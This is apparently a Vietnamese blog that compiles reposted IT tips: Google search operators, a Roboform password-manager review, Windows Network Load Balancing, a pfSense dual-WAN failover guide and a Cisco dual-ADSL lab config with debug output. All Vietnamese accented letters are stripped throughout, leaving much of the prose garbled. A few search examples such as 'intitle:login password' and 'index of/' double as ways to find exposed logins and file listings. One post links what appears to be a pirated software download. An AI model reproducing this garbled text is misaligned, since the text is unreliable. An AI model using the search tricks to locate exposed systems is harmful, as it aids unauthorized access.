1-[intitle:] C php intitle:gi tr cn tm khi dng t kho ny Google s tm tt c cc trang c tiu cha "gi tr cn tm" m chng ta mun tm. V d bn hy r vo tm kim ca Google intitle:login Google s tm cc trang c t login trong tiu . Cn nu bn nhp vo tm kim intitle:login password th Google s tm tt c nhng trang c tiu l login v t password nm trong trang . Bn hy th li mt ln na r vo tm kim ca Google l intitle:"ng nhp" "Mt khu" 2-[site:] i lc khi tm thng tin. Bn ch ch tin t mt trang web no thi. Khng cn ch n cc trang khc. Th phi lm th no gia bin thng tin Internet. Nhng lc nh th no t kho site s gip bn. C php thng tin cn tim site:website cn tm tin V d: bn r vo tm kim LRC site:ctu.edu.vn nh l khng r www.ctu.edu.vn nhe. Khi bn s tm c LRC trong trang Ctu. Hoc r vo "DangTrungHieu" site:ctu.edu.vn ri nhn tm xem. Nh l gia t site v a ch ngn ca trang web khng c khan trng. 3-[inurl:]T kho ny s gip bn tm nhng a ch URL(ng dn) c t bn cn tm. C php inurl:tcntm. V d Tui mun tm nhng ng dn no m c t "dangtrunghieu" trong n th ti r inurl:dangtrunghieu vo tm kim. Google s lit k cho ti nhng trang c t dangtrunghieu trong ng link
ca n. R th inurl:pgv site:ctu.edu.vn th xem. Cn nu bn mun tm nhiu hn mt t th dng t kho allinurl: thay cho inur:l 4-[filetype:] C nhng lc mun tm e-book hoc l nhng trang html hay nhng ti liu c ui .doc th lm sao. T kho filetype: cng s gip bn. C php filetype:phnmrngcatiliu. T kha ny cn kt hp vi t kha site: th mi lm vic hiu qu c. V d bn r vo tm kim filetype:doc site:ctu.edu.vn tv tm. Lc Google s tm nhng ti liu word trn Ctu mnh. Tng t nh vy bn hy r vo filetype:pdf site:org "Ton hc" th xem c tm c g khng 5-[related:] Trong lc tm kim. C lc mnh tm mt trang no hoi nhng khng gp. Th chng ta c th khng cn tm n na. M tm anh em ca n. Tc l nhng trang c ni dung tng t nh th. T kho related: s gip bn. C php related:tntrangwebmuntmnidunglinquan V d: r related:www.php.net vo tm kim ca Google. 6-[link:] Bn xy dng mt website cho ring mnh. Nhng bn khng bit c ai t lin kt trang site ca h n trang mnh hay khng. T kha link s gip bn C php link:tn_website_cn_tm V d link:www.ctu.edu.vn Google s gip bn tm nhng web no c t link ca Ctu trn n. 7-[cache:]i lc khi tm thng tin bn nhn thy rng c nhng website t lu n khng cn tn ti trn mng na ri. Hc n thay i ng dn i u ri. Lm cho bn tm gp n trn Google nhng m khng vo trang chnh ca n c. C l l m bo mi ngi tin vo mnh, nn Google khi tm thy mt trang no mi n t ng copy mt bn sao ri. Mc du trang khng cn tn ti nhng bn c th xem c n mt phn. T kho cache s gip bn vo ngay trang m Google copy. C php cache:a_chi_web_cn_xem_bn_sao v d cache:www.ctu.edu.vn bn s thy c bn sao m Google copy trang ch ca trng ta. Cn bn mun tm t no trong bn copy ca Google th bn thm t cn tm vo pha sau ca dng lnh trn. V d cache:www.ctu.edu.vn hc lc Google s t vng ch hc trong trang ch ctu v t vng n lun. Nu cha tin lm th lm thm v d ny nhe:
cache: cache:http://forum.ctu.edu.vn/profile.php?mode=viewprofile&u=254& dangtrunghieu 8-[intext:] Vi t kha ny Google s ch n t chng ta tm thi. N khng ch n nhng th khc. Bn c th khng cn ch nng ny v c chc nng tng ng ca n l nhp du nhy kp vo trc t cn tm. Tuy nhin i khi chng ta cng mun mu m cht m C php intext:t_cn_tm V d intext:im site:ctu.edu.vn hoc intext:"thi kha biu" site:ctu.edu.vn 9-[index of/] Chc c nhiu ln cc bn lt web gp nhng trang m cho chng ta duyt theo th mc .Gp nhng trang hay, cha rt nhiu ti nguyn trong . Nu chng ta qun ghi a ch ca n li th khi chng ta cn tm li chng ta phi lm sao. Google s gip cc bn. C php index of/loai_tai_liu_cn_tm V d index of/files. Cc bn nh c khon trng gia index v of nhen y l mtb s th thut n gin gip cc bn tm ti liu nhanh hn v chnh xc hn. Nu cc bn bit kt hp mt trong 9 tuyt chiu(c bn) trn li vi nhau. Th lc kh nng sn tin ca cc bn nng co ng k ri . c ng bi haodalat ti 11:35 CH 0 nhn xet Nhan: C TH BN CHA BIT
Phn mm Roboform: Mo nh password
Bn tham gia hng chc forum, mi forum mt nick v thng xuyn qun nick khi chc nng nh password ca trnh duyt b hng? Hoc bn dng my ti cc qun Internet, v cm ci g li username/password mi khi ng nhp v khng th dng chc nng nh password? Roboform s gii thot bn khi tt c nhng phin toi . Roboform l phn mm qun l password, thng tin c nhn v ng nhp t ng. Ch cn nhn vo mt passcard, Roboform s t a bn n website, t in username/password v t ng nhp. Phn mm c th lu mt lot thng tin c nhn t tn a ch - email vv.. v t ng in nu cn thit. Bn c th lu c cc thng tin khng lin quan n my tnh trong cc ghi ch Safenote, vd nh .. m s kt st chng hn. Sau khi download, ci t v chy Roboform ln u tin, phn mm s hi bn cc thng tin c nhn. Bn c th to nhiu l lch ph hp vi nhu cu ca mnh, v thm ch thit lp Roboform t in thng tin m khng cn hi kin mnh (Option > AutoFill > AutoFill without asking). Roboform s hin th di dng toolbar nm pha trn trnh duyt nu bn s
dng Internet Explorer v FireFox. Mi khi ng nhp vo mt site yu cu username/password, chn FillForms t ng in thng tin, hoc Logins v phn mm s t m website cn ng nhp, t in thng tin v t login h bn. Nu c qu nhiu site cn nh (chuyn bnh thng nu bn l dn mng th thit), s dng search box tm ng passcard mnh cn. Vy passcard l g? Khi ng nhp vo website ln u tin, Roboform s hi bn c lu passcard cho site khng bao gm a ch site, username, password, hoc cc thng tin khc. Mt chc nng n tng khc l PasswordGenerator t to mt password ngu nhin v lu lun trong Roboform t in khi cn thit. Passcard l thnh phn quan trng nht ca Roboform , v bn s thy qun l b su tp passcard ca mnh tht d dng. Mi passcard c th cho vo mt folder ring, em t folder ny qua folder khc bng copy/paste. Mt ngi dng Internet chuyn nghip v c thi quen ghost my nh k thay v ci li win s rt thch th vi kh nng qun l d liu ca Roboform (Option > User Data) ch cn backup, lu thng tin ra mt folder ring v Import tr li sau khi ghost xong v bn s khng cn bn tm n ni lo in li ton b username/password ca cc site a thch. Mt iu cn ch : Roboform m ho d liu, lu trong my bn ang s dng v bo v n bng mt masterpassword. Password chnh ny s c hi ngay ln u tin s dng Roboform , v nu qun, coi nh bn mt ton b d liu ca mnh. Bn cng c th thit lp sao cho Roboform hi masterpassword mi ln bt my, v khng hi thm ln na cho n khi tt my hoc sau mi khong thi gian nht nh. Hoc l mt ngi cn thn, hy t in danh sch username/password lu trong Roboform ra giy phng khi c bin bng chc nng Print (Identities > print list). Roboform2Go nh password trn USB Roboform2Go l phin bn di ng ca Roboform ci trn USB, vn c hu ht cc chc nng n tng ca bn PC nhng hon ton khng yu cu ci t ht sc l tng cho ngi dng ti cc qun Internet, thm ch nu ca hng khng cho php ci t phn mm ln my. Ci t Roboform2Go cng tng t nh bn PC, nhng chn USB disk ci thay v vo HDD trn my. Bn ch cn cm USB vo my tnh cn s dng, chy file PortableRoboForm.exe v ch vi giy phn mm load ln my tnh v hin th biu tng RoboForm2Go trn taskbar, sau g duy nht masterpassword bng bn phm o. Mun ngng s dng, ch n gin .. rt USB ra, v qun i mi lo keylogger mi khi dng my ngoi hng net. Mt im cn ch : Nu my tnh ang s dng c ci Roboform , phn mm s s dng cc thng tin t USB nu bn cm USB cha Roboform2Go
vo my. Roboform free b gii hn 10 passcard. Bn c th dng th Roboform2Go 30 ngy, v tip tc s dng nu ch s dng di 10 passcard. Phin bn Roboform Pro c gi 29,95 USD, Roboform2Go gi 19,95 USD. (Theo DT) Vit Bo (Theo_VnMedia) http://vietbao.vn/Vi-tinh-Vien-thong/Phan-mem-Roboform-Meo-nhopassword/65126245/229/ http://www.softarchive.net/system_tools/ai_roboform_pro_v:23173.html c ng bi haodalat ti 10:46 CH 0 nhn xet Nhan: C TH BN CHA BIT, TH THUT IT
12-04-2008
Tng quan v tnh nng Network Load Balancing
1. Tng quan v tnh nng Network Load Balancing Trc ht, bn phi hiu rng, cng ngh NLB khc vi cng ngh Cluster. C th hiu nm na rng, cng ngh Cluster l cng ngh kt chm cc my tnh to mt my cng sut ln, cn cng ngh NLB ch c tc dng cn bng ti, nn ch c ngha thc s khi n phc v cc tc v lin quan n mng nh web sever, mail sever, ftp sever, khng c ngha g i vi cc ng dng local, yu cu x l cc b. Khi cc my tham gia chm server chy dch v NLB, thi ngoi a ch IP ca chnh n, n cn c a ch IP chung ca chm. a ch IP chung ca chm ny l a ch dng nhn cc yu cu t my khch. Sau dch v NLB s phn phi u cc yu cu ny n tng my ch trong chm. V d nh, nu bn c 2 my ch lm web server chy IIS, vi 2 web site c cng ni dung, khi 1 my khch yu cu kt ni n a ch IP ca chm, 1 trong 2 my ch s hi p li thnh cu . Khi my khch th 2 yu cu kt ni n a ch IP ca chm, s n lt my ch thws 2 hi p...v c lun phin nh vy... Ly v d nh web site dantri.com, ni dung ca web site c lu trn 2 my ch 1 v 2 hon ton ging nhau. a ch IP ca my ch 1 l 192.168.10.1 v ca my ch 2 l 192.168.10.2, th khi thc hin NLB, 2 my ch ny phi c thm 1 a ch IP chung l 192.168.10.3 (c th bt k, min l cng lp mng). a ch IP chung ny phi c gn vi tn dantri.com trong DNS server. Khi yu cu t 1 trnh duyt no i xem trang dantri.com, n s gi yu cu n 192.168.10.3, ti dch v NLB s gi yu cu n my ch 1. khi yu cu th 2 c gi n, NLB s gi yu cu ny n my ch
2. V ni dung web site ca dantri.com hon ton ging nhau trn 2 my ch nn ngi dng khng th bit c l ang do my ch no cung cp, nhng chc chn tc s c ci thin bi khng phi ch my ch 1 . C nh vy lun phin nhau, mi my ch p ng 1 na cc yu cu xem ni dung web site dantri.com 2. Cc bc cn chun b xy dng 1 chm server da trn cng ngh NLB Phn ny hn bn khi khc, bi c th phi c nh minh ha. Ni chung cc bc xy dng ko kh lm, th rt ngn nhng hng dn chi tit th rt di. chy NLB, bn phi Enable n trong sevices. kt chm, ti mi my bn xem Properties ca card mng, nh du vo Network Load Balancing, chn Properties. Tip theo bn c th t cc a ch IP ring ca my v IP chung ca chm thng qua ca s Network Load Balancing properties . Rt nhanh ng ko? Cn bn phi t xy dng 1 DNS server n c th phn gii tn ca chm sang a ch IP chung ca chm...Ci ny th mnh ko ni chi tit c, bn nn tham kho thm trong forum. Hm nay xin post tip phn cn li, mong b con ng h. Nhng th m bn cn xy dng demo l bn cn phi c 2 my, p ng cc yu cu sau: 1. Mi my s phi c 1 a ch IP tnh, khi thc hnh nn chn di 192.168.1.0 2. Cn thm 1 a ch IP tnh na dng lm a ch IP cng chung ca chm. 3. Bn s phi c 1 ci tn DNS dnh cho chm, v d nh NLB.nhatnghe.com. mc tn DNS phi c trong c s d liu DNS, v phi tng ng vi a ch IP ca chm (nu bn no cha rnh DNS, nn tham kho n trc, nu ko s rt kh hiu!) 4. Bn phi xc nh loi dch v no s chy trn chm, v d web server. Khi , bn s phi ci t dch v ny trn c 2 my. Trong trng hp web server, phi ci IIS trn c 2 my ca chm. Bc tip theo l chun b 1 vi ni dung cn thit trc khi kt chm: 1. My 1 bn t tn l nhatnghe1, c a ch IP l 192.168.1.11 2. My cn li t tn l nhatnghe2, c a ch IP l 192.168.1.12 3. a ch IP ca chm l 192.168.1.13 (a ch default gateway l 192.168.1.1) Ch rng. NLB l 1 cng c rt tuyt vi, nhng n cng i hi rt kht khe cu hnh, bn s gp vi li rt l khi cu hnh n. Bi vy, bn phi lm cho 2 server chy dng hon ho nht ri mi thit lp NLB. Bc tip theo l xy dng DNS server. n y bn phi t lm ly. Sau khi xy dng xong ri, bn phi to 1 bn ghi A, nh x ci tn NLB.nhatnghe.com n a ch 192.168.1.13
Ci t NLB----trn 2 my nh nhau. y ta cu hnh nhatnghe1 trc Bn m khung thoi Properties ca card mng ra. Bn thy rng, dch v c tn Network Load Balancing b b duyt (uncheck). Bn hy duyt n, ri chn Properties. 1. tab Cluster parameters, bn ch ch trng Full Internet Name, phi nhp vo tn chm l NLB.nhatnghe.com, cc thng s IP, netmask nhp nh ni trn (192.168.1.13, 255.255.255.0), cc thng s khc nguyn. 2. tab Host parameters, ch u tin l 2 (priority=2), cc thng s khc t nh ni trn. I - Network Load Balancing v Clustering: Network Load Balancing (NLB) v Clustering u nhm n mc tiu chung: - Tng hp sc mnh t nhiu ngun n l - Xy dng h thng c sn sng cao (high available) Tuy nhin cch lm li hon ton khc nhau. Trc ht ta xt mt v d i thng c khi nim v vn ny: 1 cty bn v my bay gm c 2 b phn reception v booking. B phn reception c 4 nhn vin, cc nhn vin ny hot ng tng i c lp nhau t vn v tr li thc mc cho khch hng, khi c 1 nhin vin ngh vic, 3 ngi kia gnh ti dm. B phn Booking cng c 4 nhn vin, nhng 4 ngi ny phi phi hp cht ch vi nhau khi bn v v my bay ch c 1 chic! hay ni cch khc 4 ngi ny ang dng chung 1 database. Nh vy b phn reception ang hot ng theo c ch NLB v booking th hot ng theo clustering. II - Network Load Balancing: 1 - Inbound: a - Dng DNS Round Robind Trong DNS to 1 host name ng vi nhiu IP, v d www www www www IN IN IN IN A A A A 210.245.0.21 210.245.0.22 210.245.31.21 210.245.31.22
Khi c truy vn, DNS s xo trn th t cc IP ri tr kt qu cho client. Client thng thng s s dng IP u tin do server tr v.
Hnh nh ny c thay i kch thc. Click vo y xem hnh nh gc vi kch thc l 669x331 Trong v d ny ta thy, cng 1 hostname vnexpress.net nhng c n 4 IP, mi IP ng vi 1 (hoc nhiu server). Khi client truy vn vnexpress.net, DNS ca vnexpress s xo trn th t cc IP trc khi tr kt qu v cho client. Ngoi ra DNS c c 1 kh nng t bit l "subnet mask ordering" : Trong kt qu tr v DNS s u tin a IP cng net vi user ln v tr s 1. lm g vy? Webserver ca ti c 3 ng kt ni internet: VNN(222.x.x.x), FPT (58.x.x.x), Viettel (203.x.x.x), nu client s dng internet ca FPT, DNS server s u tin tr IP 58.x.x.x v cho client, v client vo bng ng FPT s nhanh hn ng VNN b - Dng NLB ca Windows c - Third party tool 2 - Outbound: III - Clustering: http://www.nhatnghe.com/forum/showthread.php?t=6268&page=2 http://vnpro.vn/html/articles/hsrp.html c ng bi haodalat ti 11:03 CH 0 nhn xet Nhan: C TH BN CHA BIT, MCSA, NETWORK
Cu hnh load balancing v failover cho 2 ng mng (DSL, cable modem)
Vi pfSense, ngi dng c th d dng cu hnh chia s mng v failover (ng mng u tin b hng, ng th nh s th vo ngay v ngc li). Bi vit di s hng dn tng bc cu hnh, gi s ng ni mng s dng DSL vi 1 IP ng v 1 IP tnh (bn c th p dng vi 2 IP ng (dynamic) hoc 2 IP tnh (static) hoc c 2 IP ng vn khng sao). Bi vit s ch tp trung vo vic cu hnh cho ng truyn i ra t mng ni b. iu quan trng l bn s cn khai bo Primary DNS vi gi tr DNS ca ng truyn th (trong bi vit ny s c hiu l WAN) v Secondary DNS vi gi tr DNS ca ng truyn th nh (trong bi vit ny s c hiu l WAN2). H thng s dng s cn c t 3 card mng. Nu bn c nh s dng mng
khng giy th s c 4 card mng. Ti vn phin bn 1.2-RC2 (y l phin bn va pht hnh ngy 13 thng 10). Phin bn cn ti v s l pfSense1.2-RC2-LiveCD-Installer.iso.gz y l bn c th chy kiu LiveCD hoc ci xung a cng. Sau khi boot ln, chn Ci xung a cng. Bn c th chp nhn cc gi tr chun trong lc ci t. Lu : pfSense s xa ton b a cng pfSense s thng bo thit b mng tm c trn my v s hi bn mun s dng thit b no cho LAN v cho WAN. Khai bo cc gi tr cn thit. Bn cng c th khai bo thit b OPT1 (c xem l WAN2 trong bi ny). Sau phn gn thit b mng, h thng s khi ng li v a ch chun cho mng LAN s l 192.168.1.1. Cable t DSL modem 1 cm vo my pfSense; Cable t DLS modem 2 cm vo my pfSense; Cable t card s dng cho LAN trn my pfSense s cm vo switch/hub cc my trm ni vo switch/hub ny. Sang mt my th nh, m browser ti a ch http://192.168.1.1, ng nhp vi ngi dng admin, mt khu pfsense. Chn System --> Setup wizard Bn c th gi gi tr chun hoc thay i ty cho hostname v domain in vo IP cho Primary DNS ca WAN (y l gi tr DNS ca ISP1) V d ng truyn th ca bn s dng V1ettel, in vo DNS ca V1ettel. in vo IP cho Secondary DNS ca WAN2 (y l gi tr DNS ca ISP2) Vi d ng truyn th nh ca bn s dng N3tnam, in vo DNS ca N3tnam ng chn (uncheck) Allow DNS server list to be overridden by DHCP/PPP on WAN
Bn c th tip tc vic cu hnh bng cch chn mi gi Cu hnh WAN Nu bn s dng a ch tnh, chn Static. Nu khng th chn kiu tng ng (PPPoE, v..v..). Nu dng PPPoE, in vo ti khon.
Cu hnh LAN Bn c th gi gi tr chun, 192.168.1.1, hoc thay i ty . Thay i mt khu cho admin v khi ng li h thng Sau khi khi ng, tip tc vic cu hnh bng cch Chn Services --> DNS Forwarder Chn Chn Chn Chn DNS Forwarder Register DHCP leases in DNS forwarder Register DHCP static mappings in DNS forwarder Save
Cu hnh thit b mng OPT1 (WAN2) in vo gi tr cn thit ty vo mi trng ca bn (static hay PPoE hay..v..v.). Nu bn khng thy thit b OPT1, chn Assign bn di Interfaces. Ri bt OPT1 v in vo Description l WAN2 Sau khi hon thnh vic cu hnh card mng v bt dch v DNS Forwarder, vic kt tip s l cu hnh Load Balancing v fail-over. Cu hnh Load Balancing Bn s cn to 3 ng dn (pool). ng th s c dng chia s mng gia WAN v WAN1 (dng load balance). ng th nh s dng WAN lc WAN2 khng ni mng. ng th ba s dng WAN2 khi WAN khng ni mng. Cu hnh ng dn 1 - Load Balancing Chn Services --> Load Balancer in vo Name: LoadBalancing Description: ng dn chia mng cho c hai Type: Gateway Behavior:Load Balancing Monitor IP: chn a ch DNS ca ISP 1 (trong v d ny DNS ca V1etel) Interface Name: WAN Chn Add To Pool
Thm vo Monitor IP th nh Monitor IP: chn a ch DNS ca ISP 2 (trong v d ny DNS ca N3tnam) Interface Name: WAN2 Chn Save Cu hnh ng dn 2 - Fail-over in vo Name: WANFailedUseWAN2 Description: WAN hng, s dng WAN2 Type: Gateway Behavior: Failover Monitor IP: chn a ch DNS ca ISP 2 (trong v d ny DNS ca N3tnam) Interface Name: WAN2 Chn Add To Pool Thm vo Monitor IP th nh Monitor IP: chn a ch DNS ca ISP 1 (trong v d ny DNS ca V1etel) Interface Name: WAN Chn Save Cu hnh ng dn 3 - Fail-over in vo Name: WAN2FailedUseWAN Description: WAN2 hng, s dng WAN Type: Gateway Behavior: Failover Monitor IP: chn a ch DNS ca ISP 1 (trong v d ny DNS ca N3tnam) Interface Name: WAN Chn Add To Pool Thm vo Monitor IP th nh Monitor IP: chn a ch DNS ca ISP 2 (trong v d ny DNS ca V1etel) Interface Name: WAN2 Chn Save [1IMG]http://tapchi.vnlinux.org/images/pfsense-load-balancer.png[/IMG] 3 bc trn hon thnh vic cu hnh cho load balancing v fail-over. Bc cui cng bn s cn cu hnh tng la c th kt ni gia LAN ti WAN v WAN2. Cu hnh tng la Chn Firewall --> Rules --> LAN
Bn s cn to 3 rules cho LoadBalance, ng dn 1 v ng dn 2. Rule cho LoadBalance Action: Pass Interface: LAN Protocol: any Source: LAN subnet Destination: any Gateway: LoadBalance Rule cho ng dn 1 Action: Pass Interface: LAN Protocol: any Source: LAN subnet Destination: WAN subnet Gateway: a_ch_IP_ca_WAN_gateway Rule cho ng dn 2 Action: Pass Interface: LAN Protocol: any Source: LAN subnet Destination: WAN2 subnet Gateway: a_ch_IP_ca_WAN2_gateway [1IMG]http://tapchi.vnlinux.org/images/pfsense-firewall-rules.png[/IMG] Vi iu cn : nu bn khng th chn a ch IP ca gateway, chn WAN2FailedUseWAN hoc WANFailedUseWAN2 ty vo lc bn cu hnh firewall rules cho ng dn 1 hay 2. Khi chn Destination, nu bn khng th chn WAN subnet hay WAN2 subnet, chn any. Bi vit c tnh lm m a ch gateway ca WAN2. i mng cho my trm (workstation, client) s dng DHCP. M browser n trang http://www.vnlamp.com. Rt dy cable t router ca ISP 1 ra, m browser n trang http://www.vnlamp.com, bn vn c th xem c. Lm tng t cho router th nh (d nhin ng rt cable ca c 2 routers ra th s khng ln mng c ). Reference: http://doc.pfsense.org/index.php/MultiWanVersion1.2
http://forum.vnlamp.com/showthread.php?t=12 ++++++++++++++++++++++++++++++++++++++++++++++ ++ Lab ISCW: Cu hnh load balancing dng hai line adsl. Lab ISCW: Cau hinh load balancing tren 2 line ADSL dng SAA. I. S lab: (Xin vui lng download file Word nh km) Gii thiu: Nhiu doanh nghip hin nay s dng nhiu line adsl cho vic truy cp Internet. Mt trong nhng cu hi hay c t ra trn din n ny l lm th no cu hnh chia s ti (load balancing) v d phng redundancy cho hai line adsl. C nhiu gii php ca cc hng phn cng khc nhau cho vn ny. Bi lab ny m t cch dng router Cisco vi CIsco IOS 12.3 tr ln. Trong cu hnh lab ny, router 2800 c hai card WIC-1T ADSL. Trong on cu hnh di y, tnh nng track interface c s dng nhm sm pht hin a ch ca u ISP b down. Nu v l do no ng truyn adsl b down, tnh nng ny s nhanh chng xa route i qua line adsl ra khi bng nh tuyn ca router. trng thi bnh thng, bng nh tuyn ca router tn ti c hai route, do qu trnh load balancing s xy ra. Khi mt line adsl gp s c, tnh nng track interface s nhanh chng xa mt route ra khi bng nh tuyn. Cu hnh NAT trong bi lab ny c s dng route map. iu ny gip tin trnh NAT c th thc hin vic chuyn i a ch ph hp. Bi lab do L B Duy Mn thc hin. Hnh v Trn c H. II. Cu hnh router R2: Cau hinh Router R2 show run ! version 12.3 ! hostname R2 !
ip cef ! vpdn enable vpdn ip udp ignore checksum ! track 1 interface Dialer1 ip routing delay down 5 up 10 ! track 2 interface Dialer2 ip routing delay down 5 up 10 ! interface FastEthernet0/0 ip address 192.168.1.254 255.255.255.0 ip nat inside no keepalive ! interface ATM0/1/0 mac-address 0005.5e96.2cc0 no ip address no atm ilmi-keepalive dsl operating-mode auto pvc 8/35 pppoe-client dial-pool-number 1 ! interface ATM0/2/0 mac-address 0005.5e96.2ca0 no ip address no atm ilmi-keepalive dsl operating-mode auto pvc 8/35 pppoe-client dial-pool-number 2 ! interface Dialer1 mtu 1492 ip address negotiated ip nat outside encapsulation ppp dialer pool 1 ppp chap hostname R3 ppp chap password 0 cisco3 ! interface Dialer2 mtu 1492 ip address negotiated ip nat outside encapsulation ppp
dialer pool 2 ppp authentication chap callin ppp chap hostname R4 ppp chap password 0 cisco4 ! ip classless ip route 0.0.0.0 0.0.0.0 Dialer1 track 1 ip route 0.0.0.0 0.0.0.0 Dialer2 track 2 ! ip nat inside source route-map nat1 interface Dialer1 overload ip nat inside source route-map nat2 interface Dialer2 overload ! route-map nat1 permit 10 exitmatch interface Dialer1 interface c a g i tin set interface Dialer1 ! route-map nat2 permit 20 exit interfacematch interface Dialer2 set interface Dialer2 ! end
Debug *Feb 6 14:16:00.523: PPPoE 47: I PADT R:000a.b70b.ac00 L:0005.5e96.2ca0 8/35 ATM0/2/0pin R2# R2#u all Port Statistics for unclassified packets is not turned on. All possible debugging has been turned off R2#show ip int brie Interface IP-Address OK? Method Status Protocol FastEthernet0/0 192.168.1.254 YES manual up up FastEthernet0/1 unassigned YES unset administratively down down ATM0/1/0 unassigned YES manual up up ATM0/2/0 unassigned YES manual up up NVI0 unassigned YES unset up up Virtual-Access1 unassigned YES unset up up Virtual-Access2 unassigned YES unset up up Dialer1 10.0.0.4 YES IPCP up up
Dialer2 10.0.0.5 YES IPCP up up R2#show ip route Gateway of last resort is 0.0.0.0 to network 0.0.0.0 10.0.0.0/32 is subnetted, 3 subnets C 10.0.0.1 is directly connected, Dialer1 is directly connected, Dialer2 C 10.0.0.4 is directly connected, Dialer1 C 10.0.0.5 is directly connected, Dialer2 C 192.168.1.0/24 is directly connected, FastEthernet0/0 S* 0.0.0.0/0 is directly connected, Dialer1 is directly connected, Dialer2 R2#ping Protocol [ip]: Target IP address: 10.215.219.52 Repeat count [5]: 10000000 Datagram size [100]: Timeout in seconds [2]: Extended commands [n]: y Source address or interface: 192.168.1.254 Type of service [0]: Set DF bit in IP header? [no]: Validate reply data? [no]: Data pattern [0xABCD]: Loose, Strict, Record, Timestamp, Verbose[none]: Sweep range of sizes [n]: *Feb 6 14:16:59.071: %DIALER-6-UNBIND: Interface Vi2 unbound from profile Di2 Type escape sequence to abort. Sending 10000000, 100-byte ICMP Echos to 10.215.219.52, timeout is 2 seconds: Packet sent with a source address of 192.168.1.254 !!!!!!! *Feb 6 14:16:59.079: %LINK-3-UPDOWN: Interface Virtual-Access2, changed state to down!!!!!!!!!!!!!!!!!!!!!!!! *Feb 6 14:17:00.071: %LINEPROTO-5-UPDOWN: Line protocol on Interface Virtual-Access2, changed state to down!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
*Feb 6 14:17:23.903: %LINK-3-UPDOWN: Interface ATM0/2/0, changed state to down *Feb 6 14:17:24.903: %LINEPROTO-5-UPDOWN: Line protocol on Interface ATM0/2/0, changed state to down!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!! *Feb 6 14:17:45.363: %LINK-3-UPDOWN: Interface ATM0/2/0, changed state to up! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! *Feb 6 14:17:48.363: %LINEPROTO-5-UPDOWN: Line protocol on Interface ATM0/2/0, changed state to up *Feb 6 14:17:49.975: %DIALER-6-BIND: Interface Vi2 bound to profile Di2. *Feb 6 14:17:49.979: %LINK-3-UPDOWN: Interface Virtual-Access2, changed state to up. *Feb 6 14:17:53.087: %LINEPROTO-5-UPDOWN: Line protocol on Interface Virtual-Access2, changed state to up......! *Feb 6 14:18:03.903: %LINK-3-UPDOWN: Interface ATM0/1/0, changed state to down *Feb 6 14:18:04.903: %LINEPROTO-5-UPDOWN: Line protocol on Interface ATM0/1/0, changed state to down.!.!.!.!.!.!.!.!.!.!.!.!.!. !.!.! *Feb 6 14:18:38.483: %DIALER-6-UNBIND: Interface Vi1 unbound from profile Di1.!!!!!!!!!!!!!!!!!!!! *Feb 6 14:18:38.495: %LINK-3-UPDOWN: Interface Virtual-Access1, changed state to down *Feb 6 14:18:39.495: %LINEPROTO-5-UPDOWN: Line protocol on Interface Virtual-Access1, changed state to down!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!! http://vnpro.org/forum/showthread.php?t=11030 c ng bi haodalat ti 10:51 CH 0 nhn xet Nhan: C TH BN CHA BIT, MCSA, NETWORK
Cu hnh load balancing v failover cho 2 ng mng (DSL, cable modem)
